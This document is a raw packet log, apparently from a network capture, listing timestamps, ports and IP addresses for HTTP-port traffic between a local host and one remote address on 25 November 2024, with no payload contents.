Nov 25, 2024 14:14:13.987052917 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.987492085 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.987545013 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.993521929 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.993576050 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.993736029 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.993782997 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.999753952 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.999808073 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.999960899 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.000005007 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.006217957 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.006270885 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.006309986 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.006351948 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.012643099 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.012716055 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.012943029 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.013015032 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.019229889 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.019287109 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.019345045 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.019395113 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.039550066 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.039628983 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.039640903 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.039685011 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.041343927 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.041403055 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.042059898 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.042112112 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.047877073 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.047955036 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.047998905 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.048049927 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.052871943 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.052936077 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.053128958 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.053184986 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.059371948 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.059434891 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.059602976 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.059664011 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.065645933 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.065707922 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.065742970 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.065787077 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.072082043 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.072165966 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.072228909 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.072276115 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.078762054 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.078838110 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.079106092 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.079165936 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.086745024 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.086822033 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.086863995 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.086916924 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.092968941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.093039036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.093041897 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.093096018 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.132034063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.132107019 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.132399082 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.132450104 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.133600950 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.133614063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.133655071 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.136209965 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.136262894 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.136760950 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.136818886 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.139866114 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.139935970 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.140208960 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.140268087 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.143496990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.143568039 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.144188881 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.144234896 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.147110939 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.147178888 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.147358894 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.147409916 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.150592089 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.150620937 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.150696993 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.150774002 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.175003052 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.175024986 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.175231934 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.176796913 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.176861048 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.177037954 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.177093983 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.179373026 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.179430008 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.179666042 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.179722071 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.182837009 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.182883024 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.182926893 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.182975054 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.186373949 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.186438084 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.186605930 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.186660051 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.189557076 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.189613104 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.189697027 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.189749002 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.192908049 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.192956924 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.193185091 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.193233967 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.194773912 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.194819927 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.195375919 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.195424080 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.197360992 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.197412014 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.197885036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.197930098 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.199965000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.200011969 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.200488091 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.200540066 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.202614069 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.202661991 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.202725887 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.202766895 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.205245018 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.205291033 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.263214111 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.263286114 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.263379097 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.263452053 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.264697075 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.264774084 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.264904022 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.264960051 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.267044067 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.267100096 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.267178059 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.267234087 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.269570112 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.269648075 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.269963980 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.270026922 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.272136927 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.272192001 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.272286892 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.272342920 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.274699926 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.274774075 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.275058985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.275120020 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.277220964 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.277293921 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.277523041 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.277573109 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.279742002 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.279803991 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.279849052 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.279906034 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.282298088 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.282363892 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.282532930 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.282591105 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.284847021 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.284902096 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.285069942 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.285124063 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.287393093 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.287451982 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.287503004 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.287565947 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.290122986 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.290193081 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.290205002 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.290247917 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.292479038 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.292568922 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.292593956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.292642117 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.294994116 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.295058966 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.295097113 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.295150042 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.297554970 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.297611952 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.297887087 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.297941923 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.300092936 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.300163031 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.300175905 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.300209045 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.302870989 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.302928925 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.302973032 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.303021908 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.305157900 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.305212975 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.305217981 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.305264950 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.351964951 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.352139950 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.352137089 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.352222919 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.353054047 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.353110075 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.353389025 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.353442907 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.357028008 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.357104063 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.384325027 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.384342909 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.384397984 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.385222912 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.385281086 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.385471106 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.385699034 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.387285948 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.387299061 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.387343884 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.387375116 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.389381886 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.389394045 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.389447927 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.391467094 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.391531944 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.391638994 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.391684055 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.393454075 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.393517017 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.394578934 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.394634008 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.396311045 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.396322966 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.396400928 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.398076057 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.398143053 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.398247957 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.398296118 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.399802923 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.399851084 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.399921894 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.399965048 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.401982069 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.402033091 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.402193069 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.402236938 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.404144049 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.404196978 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.404369116 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.404412985 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.406316996 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.406364918 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.406539917 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.406584024 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.408493042 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.408545017 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.408629894 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.408669949 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.410701990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.410774946 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.410876036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.410928965 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.414779902 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.414792061 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.415056944 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.415405035 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.415416956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.415458918 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.417639971 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.417696953 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.417817116 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.417870045 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.419596910 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.419651985 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.419923067 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.419974089 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.421166897 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.421250105 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.421458960 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.421505928 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.423290968 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.423346996 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.423404932 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.423450947 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.425084114 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.425131083 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.425292969 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.425337076 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.426942110 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.426990032 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.427253962 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.427298069 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.428870916 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.428930044 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.429045916 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.429088116 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.430608988 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.430653095 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.430943012 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.430984020 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.432400942 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.432461977 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.432552099 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.432594061 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.433845997 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.433892965 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.434022903 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.434062958 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.435558081 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.435604095 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.435623884 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.435658932 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.437180996 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.437228918 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.437314987 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.437355995 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.438831091 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.438877106 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.438956976 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.438998938 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.440661907 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.440709114 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.440723896 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.440758944 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.442275047 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.442317963 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.442430019 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.442471027 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.443922043 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.443970919 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:14.444406033 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:14.444457054 CET	49704	80	192.168.2.5	185.215.113.206
